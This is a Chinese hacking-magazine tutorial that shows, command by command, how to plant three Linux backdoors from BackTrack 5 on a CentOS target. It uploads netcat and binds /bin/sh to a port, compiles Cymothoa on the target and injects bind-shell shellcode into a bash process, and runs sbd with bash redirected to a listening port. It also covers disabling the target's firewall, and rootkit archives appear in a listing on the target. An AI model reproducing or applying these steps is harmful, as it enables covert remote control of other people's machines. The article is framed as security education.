Linux 后门应用

Table of Contents

本文已发于《黑客X档案》2012.2、3合刊

1. 前言

想必大家已经熟悉了在 Windows 下使用各种后门了,从早期的灰鸽子开始,国内层出不穷的后门木马就不断地涌现。但是基于 Linux 平台的后门,想必各位读者还是有大一部分人没有接触过。Linux 平台也不乏许多优秀的后门,本文将用著名的 Backtrack 5 中自带的三个后门来进行讲解,希望开阔大家的视野。

2. 瑞士军刀——nc

其实 nc 并不是一个后门程序,nc 原本是用来网络方面的,但是它却天生具备后门功能,于是更是被广泛用在了后门上,并且也编译出了 Windows 平台上的。对于 nc 相信各位读者毫不陌生。不过在一般的 Linux 发行版中,后门功能是被删除了的,但是作为专用于渗透测试的 Backtrack 5,其自带的 nc 是具有后门功能的。

Backtrack 5 中的后门程序全部存储在“Applications->BackTrack->Maintaining Access->OS Backdoors“菜单中的。但是 nc 不在其中,倘若我们想找到 nc 的位置,可以在终端键入以下命令:

root@bt:~# whereis nc
nc: /bin/nc /bin/nc.traditional /usr/share/man/man1/nc.1.gz
root@bt:~#

根据命令的执行结果,得知 nc 的可执行文件存储在 /bin 目录下的。如果我们要在别的 Linux 主机上用 nc 当后门,一定要记得将 Backtrack 5 中 /bin 目录下的 nc 上传到对方主机,因为之前说过了,很多发行版的 nc 不具备一些特殊功能。

nc 同样也可以用于 Windows 平台上,并且 Backtrack 5 中也带有 Windows 版本的 nc。不仅是 nc,Backtrack 5 也内置了一些在 Windows 上使用的工具,它们都位于 /pentest/windows-binaries 目录下:

root@bt:~# ls /pentest/windows-binaries/
databases  misc           pstools   sniffers

kartoffel  passwd-attack  scanners  tools

root@bt:~#

从返回结果来看,windows-binaries 目录下还有多个子目录。其他目录中的工具大家可以暂时先自己研究下,我们需要的 nc 位于 tools 目录下,名为 nc.exe。

在这里,我演示一下 nc 作为后门的用法。我的目标机是一台 CentOS 5.6。

我们先把 Backtrack 5 中的 nc 上传到 CentOS 中,可以通过上传到 Web 空间后,在目标机 wget 的方式下载;也可以用 sftp,sftp 也是我爱用的方法。以下是执行过程,请读者注意加粗并标记编号部分:

root@bt:~# ping 192.168.1.3                         (1)
PING 192.168.1.3 (192.168.1.3) 56(84) bytes of data.

64 bytes from 192.168.1.3: icmp_seq=1 ttl=64 time=3.83 ms

64 bytes from 192.168.1.3: icmp_seq=2 ttl=64 time=0.531 ms

^C

--- 192.168.1.3 ping statistics ---

2 packets transmitted, 2 received, 0% packet loss, time 1001ms

rtt min/avg/max/mdev = 0.531/2.181/3.831/1.650 ms

root@bt:~# sftp 192.168.1.3                         (2)

Connecting to 192.168.1.3...

The authenticity of host '192.168.1.3 (192.168.1.3)' can't be established.

RSA key fingerprint is fe:de:95:c0:2e:d2:11:34:c9:25:8f:64:bf:a3:11:74.

Are you sure you want to continue connecting (yes/no)? Yes

Warning: Permanently added '192.168.1.3' (RSA) to the list of known hosts.

[email protected]'s password:

sftp> ls                                     (3)

a.tar                    adore-ng                 adore-ng.tar

anaconda-ks.cfg          ddrk                     ddrk.tgz

enyelkm-1.3              enyelkm-1.3.tar.gz       install.log

install.log.syslog       lx                       test

wnps-0.26                wnps.tgz

sftp> put /bin/nc ~/nc                           (4)

Uploading /bin/nc to /root/~/nc

Couldn't get handle: No such file or directory

sftp> put /bin/nc nc

Uploading /bin/nc to /root/nc

/bin/nc                                    100%   22KB  21.6KB/s   00:00

sftp> ls                                     (5)

a.tar                    adore-ng                 adore-ng.tar

anaconda-ks.cfg          ddrk                     ddrk.tgz

enyelkm-1.3              enyelkm-1.3.tar.gz       install.log

install.log.syslog       lx                       nc

test                     wnps-0.26                wnps.tgz

sftp>

在上方过程(1)中,我首先 ping 了一下目标机是否通畅,IP 地址是 192.168.1.3;接着在(2)中,我用 sftp 登录到目标机,输入一次 yes,接着键入登录密码(默认是 root 的,只是演示用);(3)中我首先用 ls 命令看了下目标机 home 中的文件;(4)中通过 put 命令上传本地 /bin/nc 到远程目录,接着在(5)中再次用 ls 命令,可以看到 nc 成功上传了。

接着我们来看下 nc 的用法,各位玩 Linux 的工具一定要多利用帮助啊,键入 nc -h,多余的文字我就删除了,只留下最主要的:

connect to somewhere:   nc [-options] hostname port[s] [ports] ...

listen for inbound: nc -l -p port [-options] [hostname] [port]

options:

    -c shell commands   as -e'; use /bin/sh to exec [dangerous!!]

    ...

    -l          listen mode, for inbound connects

    ...

    -p port         local port number

我们注意“listen for inbound”这行,这行提示我们应该如何监听端口,既然在目标上,我们首先应该监听端口,然后再在咱们的 Backtrack 5 中连接到这个端口。-l 参数表示监听,-p 表示指定一个监听端口,-c 是最有意思的功能,它可以让我们远程执行 shell 命令。咱们在目标机器上试下:

[root@lx ~]# ./nc -l -p 8899 -c /bin/sh

接着在本地 Backtrack 5 中连接,使用格式是 nc 目标IP 端口号:

root@bt:~# nc 192.168.1.3 8899

之后提示(UNKNOWN) [192.168.1.3] 8899 (?) : No route to host。遇到这种问题我们不要纳闷,是 CentOS 防火墙问题,在 CentOS 里执行 setup 命令,找到“Firewall configuration,把“Security Level”改成“Disabled”就没问题了。再次连接,只见什么也没返回,却有光标闪烁,这证明已经成功了,不信打个 ls 命令试下?

3. Cymothoa

Cymothoa 是名副其实的后门了,不像 nc 只是一个带有后门功能的网络管理工具了。国内介绍它的文章暂时还没怎么发现,但经过笔者使用,确实是一个强悍无比的后门,就纳闷怎么没多少人介绍呢。

通过刚才我介绍的后门存放位置找到它,直接运行,它自动在终端里执行了,并且显示了帮助说明。但是,种植到目标机器的时候,我们还需要先编译这个后门,因为直接传过去的可执行文件并不一定能够运行成功啊,为了保险,我就从编译开始。有兴趣的还可以阅读下它的源码。

通过菜单运行 cymothoa,我们已经处于它所在目录下了,通过 ls 命令,可以看到很多 .c 和 .h 为后缀的文件,这些是它的源文件(如图1):

1.jpg

整个过程是:将源文件打包成压缩文件后上传到目标机,然后解压,最后编译并运行。

压缩过程如下:

root@bt:/pentest/backdoors/cymothoa# cd ..              (1)

root@bt:/pentest/backdoors# tar -cf cymothoa.tar cymothoa/      (2)

root@bt:/pentest/backdoors# ls                      (3)

3proxy  cymothoa  cymothoa.tar  dns2tcp  iodine  ptunnel  web

root@bt:/pentest/backdoors#

在(1)中,我们切换到上一级目录,然后在(2)中执行 tar 命令,通过加参数 cf 进行文件夹打包,cymothoa.tar 是打包后的压缩包名,cymothoa 则是将要参与打包的目录。打包后通过(3)中的 ls 命令,可以看到压缩文件的存在了。最后通过前面讲的 sftp 的方法将其上传到目标机。

在 CentOS 中执行如下:

[root@lx ~]# tar xf  cymothoa.tar                       (1)

[root@lx ~]# cd  cymothoa                           (2)

[root@lx ~]# make                               (3)

cc cymothoa.c -o cymothoa -Dlinux_x86

[root@lx ~]#

在(1)中,我们通过 tar 跟 xf 参数解压上传过来的压缩包,(2)中进入解压后的目录,通过(3)中的 make 命令编译 cymothoa ,之后就可以在目录下看到一个名为“cymothoa“的可执行文件了。

既然成功编译,接下来我们就应该将编译后的可执行文件拷贝到单独的一个目录,这个过程由聪明的读者随意解决吧。

在正式使用之前,我先简单介绍下它的原理,它通过向指定进程(bash 进程)注入特定功能的 shellcode 代码,一般我都是用的绑定一个端口的 shellcode,本文演示也依旧使用这个,因为其复杂性,我特地将以前录的视频教程附在光盘中,读者有兴趣可以去看看。我们依旧看下帮助:

root@bt:/pentest/backdoors/cymothoa# ./cymothoa -h

Usage:

cymothoa -p <pid> -s <shellcode_number> [options]
Main options:

-p  process pid                             (1)
-s  shellcode number                            (2)
-l  memory region name for shellcode injection (default /lib/ld)
see /proc/pid/maps...
-h  print this help screen
-S  list available shellcodes                       (3)

Payload personalization options:

-x  set the IP

-y  set the port number

-r  set the port number 2

-z  set the username (3 bytes)

-o  set the password (8 bytes)

-i  set the interpreter (def /bin/bash)

-c  set the script code (from cmd line)

-F  do not fork parent process

root@bt:/pentest/backdoors/cymothoa# ./cymothoa -S              (4)
0 - bind /bin/sh to the provided port (requires -y)
....其余shellcode省略

其中(1)为指定一个进程 id,一般来说都会选择 bash 的进程。执行 ps -s(如图2):

2.jpg

我们注意图2中最后一行最后的文字是“-bash”,其 PID 为 2358,我们就选定它。在注入到 bash 进程之前,我们得看下有哪些可用的 shellcode,(2)中 -s 参数后面跟 shellcode 的编号,编号通过(3)中跟 -S(大写 S)参数获得,执行如(4),返回的列表中有不少可选的 shellcode,为了节约版面,我就只贴出了编号为 0 的,读者可以自己尝试其他的。

在 CentOS 上,我们执行,其中 -y 跟自定义端口号:

[root@lx cymothoa]# ./cymothoa -p 2358 -s 0 -y 4444

执行结果输出如图3:

3.jpg

看到“infected!!!”(被感染)字样则证明成功了。接着在 Backtrack 5 中用 nc 连接:

root@bt:~ # nc 192.168.1.3 4444

接着依然是一个光标闪烁,但是可以执行系统命令了。

4. 跨平台的 SBD

sbd 是本文中介绍的最后一个后门程序,它也是跨平台的,其 Windows 中的二进制文件存放在 /pentest/windows-binaries/tools 中的,Linux 版的文件位置可以通过 whereis 命令查看,就不重复演示了。

sbd 跟 nc 的差不多,但是更高级一点,这里我只演示基础的,同样请大家先看帮助,玩 Linux 程序,最重要的就是要学会看帮助啊。其实它的基本参数跟 nc 的差不多,依旧是通过 I/O 重定向,然后绑定端口,等待连接。这里我简单说下所谓的 I/O 重定向:

系统有所谓的标准输入和输出,比如 Linux 执行命令后,返回在终端上的那些文字就是标准输出,通过键盘键入命令,我们叫它标准输入,I/O 重定向就是听过将它的输出位置和接受输入的方法改变,也就是说,我们在 sbd 后门中,我们将输出结果通过网络传送给控制者,将控制者远程输入的命令作为程序的输入。

在 CentOS 上,执行以下命令监听端口,并改变 bash 的输入输出:

[root@lx ~]# ./sbd -l -p 1234 -e bash

其中 -l 参数表示监听;-p 指定一个监听端口;-e 表示将 bash 的输入输出重定向,如果是 Windows 平台,可以换成 cmd.exe

在 Backtrack 5 下连接:

root@bt:~# sbd 192.168.1.3 1234

注意,是使用 sbd 连接,不是 nc。

5. 结尾

为了普及大家 Linux 平台的安全技术,本文介绍了 3 个后门的基本用法,希望大家多揣摩揣摩,它们都还有很强大的功能,如有机会,单独撰文为大家讲述。